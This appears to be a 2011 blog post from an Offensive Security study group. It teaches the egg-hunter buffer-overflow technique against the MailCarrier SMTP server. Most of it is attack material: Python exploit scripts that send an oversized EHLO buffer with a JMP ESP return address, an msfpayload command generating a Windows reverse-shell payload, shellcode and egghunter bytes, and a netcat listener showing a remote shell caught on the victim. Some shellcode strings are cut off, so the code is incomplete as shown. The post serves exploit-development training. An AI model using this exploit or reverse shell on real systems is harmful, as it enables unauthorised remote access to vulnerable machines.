Archive for June, 2011

Egg Hunter (BOF)

This month was the 5th meeting of the Offensive Security Ohio Chapter.  I had the pleasure assisting the instruction of this class with Rob Simon (@Kickenchicken57,  Rob took us through an explanation of an exploit development technique called Egg Hunting.  The technique builds off of our previous example of an EIP/ESP overwrite, but this time, we don’t have enough room to store our “evil” shell code in ESP.  So, we drop what’s called an “Egg Hunter” in ESP, which will search the memory stack for our “evil” shell code and execute it.

Let’s start with the iteration of our MailCarrier exploit, where we filled our initial buffer with all A’s, the EIP with B’s, and the ESP with C’s.

import socket
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# our buffer overflow
buffer = "A" * 5093 # pattern offset value

# our EIP overwrite
buffer += "B" * 4

# our ESP overwrite
buffer += "C" * 403

 print "\nSending evil buffer..."
 s.connect(('', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 print "Could not connect to SMTP!"

We’re going to pretend that we don’t have 403 bytes in ESP for our “evil” shell code, and actually place our shell code where our A’s are currently being written.  We will still need to overwrite our EIP register with our “JMP ESP” memory address from the last example to replace the B’s.  And finally, we will put our Egg Hunter where our C’s are currently being written.

In the past two classes, we have had some problems generating reliable exploit shell code using MSFPAYLOAD/MSFENCODE.  I’m confident that the issue is that we are not excluding all of the “Bad Characters” required for the payload to successfully execute.  I cannot find any good references to “all” bad characters that should be excluded, but I have found that reliable code can be generated by using the “x86/alpha_upper” encoder.  The downside is that the payload is twice as large.  So, let’s generate our new shell code that is guaranteed to work, which we will place within our A’s in our exploit code using the following command line:

msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R | msfencode -e x86/alpha_upper -t c

For the EIP overwrite, you should use the same address that you used in the previous exploit to replace the B’s in our code.

And finally, the C’s will be overwritten by our Egg Hunter.  There is an excellent technical writeup on how Egg Hunters actually work here.  The Egg Hunter code was taken from here.  We are using the NtDisplayString Egg Hunter, which is only 32 bytes in size.  Here is the final code:

import socket
import struct

# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# evil shell code - reverse shell to
# 697 bytes
evilshell = "w00tw00t"
evilshell += ("\x89\xe5\xdd\xc6\xd9\x75\xf4\x5b\x53\x59\x49\x49\x49\x49\x43"

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"

# A's overwite
# pattern offset value = 5093
buffer = "\x90" * 1000
buffer += evilshell
buffer += "A" * (5093 - len(evilshell) - 1000)

# EIP (B's) overwrite
# 7C941EED - JMP ESP (XP - SP2)
buffer += struct.pack('<L', 0x7C941EED)

# our ESP (C's) overwrite
# Egg Hunter
buffer += "\x90" * 16
buffer += egghunter
buffer += "C" * (403 - len(egghunter) - 16)

 print "\nSending evil buffer..."
 s.connect(('', 25))
 s.send('EHLO ' + buffer + '\r\n')
 data = s.recv(1024)
 print "Could not connect to SMTP!"

Note that we started our “evilcode” variable with “w00tw00t” and there is only one “w00t” in our Egg Hunter.  Remember that the evil shell code, tagged with “w00tw00t”, and the Egg Hunter with “w00t” both reside in memory.  If the search string within the Egg Hunter was the same as the string in the evil shell code (one “w00t”), we might stumble upon the “w00t” within the Egg Hunter during our search, and fall into an endless loop.  The Egg Hunter is actually written to search memory for two consecutive instances of “w00t” before executing the shell code following the search string.

We also learned a trick this month in the EIP overwrite “struct.pack(‘<L’, 0x<memory address>)”.  This function call takes care of the Little Endian notation that we had to compensate for in our previous example.  To utilize it, we need to import the library at the beginning of our script with “import struct”.

So, lets see if our new Egg Hunter exploit works.  First we setup our netcat listener, then execute the script.

root@bt:/pentest/exploits/framework3# nc -lvp 443
listening on [any] 443 ... inverse host lookup failed: Unknown server error : Connection timed out
connect to [] from (UNKNOWN) [] 1313
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


Windows IP Configuration

Ethernet adapter Local Area Connection:

 Connection-specific DNS Suffix  . : localdomain
 IP Address. . . . . . . . . . . . :
 Subnet Mask . . . . . . . . . . . :
 Default Gateway . . . . . . . . . :


And there we have it.  Another successful remote shell on the victim!


No Comments